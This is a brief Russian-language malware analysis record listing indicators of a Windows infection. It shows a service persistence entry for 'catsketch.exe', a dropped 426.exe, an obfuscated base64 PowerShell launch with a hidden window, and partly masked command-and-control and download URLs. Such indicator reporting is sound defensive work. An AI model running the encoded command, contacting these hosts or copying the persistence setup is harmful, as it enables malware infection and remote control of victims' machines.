Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\catsketch] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\catsketch] 'ImagePath' = '"%WINDIR%\SysWOW64\catsketch.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en PAAjACAARQBkAHIAdQBnAHkAZgBpAGkAIABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGkAYwByAG8AcwBvAGYAdAAuAGMAbwBtAC8AWQBjAHgAdABuAHQAdQBpAGwAbAB0AHUAaAAgACMAPgAgACQAUgBlAHAAcgByAG0AdwBrAGcAcQB5AGEAcwA9A...
- %HOMEPATH%\426.exe
- %HOMEPATH%\426.exe в %WINDIR%\syswow64\catsketch.exe
- '21#.#12.113.235':80
- http://ne#.#omp-air.lt/wp-content/kdTiQgM/
- http://96.##.84.254:7080/odbc/
- http://45.##.122.75/nsip/
- http://85.##.92.96:8080/codec/results/ringin/merge/
- http://94.##7.253.126/nsip/forced/
- DNS ASK ne#.#omp-air.lt
- '%HOMEPATH%\426.exe'
- '%WINDIR%\syswow64\catsketch.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en PAAjACAARQBkAHIAdQBnAHkAZgBpAGkAIABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGkAYwByAG8AcwBvAGYAdAAuAGMAbwBtAC8AWQBjAHgAdABuAHQAdQBpAGwAbAB0AHUAaAAgACMAPgAgACQAUgBlAHAAcgByAG0AdwBrAGcAcQB5AGEAcwA9A...' (со скрытым окном)